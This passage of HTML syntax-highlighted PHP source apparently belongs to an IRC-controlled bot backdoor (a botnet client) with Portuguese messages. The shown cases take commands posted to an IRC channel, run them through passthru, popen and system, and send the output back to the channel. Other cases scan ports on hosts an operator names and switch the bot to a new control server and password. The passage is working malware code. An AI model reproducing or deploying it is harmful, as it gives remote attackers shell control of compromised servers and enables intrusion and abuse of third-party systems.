&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot; &nbsp; &nbsp; &nbsp;: &quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ret</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;passthru&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$command</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$exec</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/passthru"><span style="color: #990000;">passthru</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$command</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$ret</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$exec</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>count<span style="color: #009900;">&#40;</span><span style="color: #000088;">$ret</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ret</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">!=</span><span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot; &nbsp; &nbsp; &nbsp;: &quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ret</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;popen&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$command</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>popen<span style="color: #660099; font-weight: bold;">\2</span>]: <span style="color: #006699; font-weight: bold;">$command</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$pipe</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/popen"><span style="color: #990000;">popen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$command</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/feof"><span style="color: #990000;">feof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipe</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$pbuf</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/fgets"><span style="color: #990000;">fgets</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipe</span><span style="color: #339933;">,</span>512<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pbuf</span> <span style="color: #339933;">!=</span> <span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot; &nbsp; &nbsp; : <span style="color: #006699; font-weight: bold;">$pbuf</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/pclose"><span style="color: #990000;">pclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$pipe</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;system&quot;</span><span style="color: #339933;">:</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$command</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr"><span style="color: #990000;">substr</span></a><span style="color: #009900;">&#40;</span><a href="http://www.php.net/strstr"><span style="color: #990000;">strstr</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$msg</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><a href="http://www.php.net/strlen"><span style="color: #990000;">strlen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>0<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">+</span>1<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$exec</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/system"><span style="color: #990000;">system</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$command</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$ret</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/explode"><span style="color: #990000;">explode</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$exec</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">&lt;</span>count<span style="color: #009900;">&#40;</span><span style="color: #000088;">$ret</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ret</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">!=</span><span style="color: #009900; font-weight: bold;">NULL</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot; &nbsp; &nbsp; &nbsp;: &quot;</span><span style="color: #339933;">.</span><a href="http://www.php.net/trim"><span style="color: #990000;">trim</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$ret</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$i</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;pscan&quot;</span><span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">// .pscan 127.0.0.1 6667 </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> 2<span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/fsockopen"><span style="color: #990000;">fsockopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>2<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #000088;">$e</span><span style="color: #339933;">,</span><span style="color: #000088;">$s</span><span style="color: #339933;">,</span>15<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>pscan<span style="color: #660099; font-weight: bold;">\2</span>]: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;:&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; is <span style="color: #660099; font-weight: bold;">\2</span>open<span style="color: #660099; font-weight: bold;">\2</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>pscan<span style="color: #660099; font-weight: bold;">\2</span>]: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;:&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; is <span style="color: #660099; font-weight: bold;">\2</span>closed<span style="color: #660099; font-weight: bold;">\2</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">case</span> <span style="color: #0000ff;">&quot;ud.server&quot;</span><span style="color: #339933;">:</span> <span style="color: #666666; font-style: italic;">// .ud.server &lt;server&gt; &lt;port&gt; [password] </span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&gt;</span>2<span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'server'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>1<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'port'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>2<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><a href="http://www.php.net/isset"><span style="color: #990000;">isset</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$mcmcd</span><span style="color: #009900;">&#91;</span>3<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pass'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>3<span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">privmsg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">config</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'chan'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;[<span style="color: #660099; font-weight: bold;">\2</span>update<span style="color: #660099; font-weight: bold;">\2</span>]: Server trocado para &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;:&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; Senha: &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$mcmd</span><span style="color: #009900;">&#91;</span>3<span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">else</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#123;</span> <br />
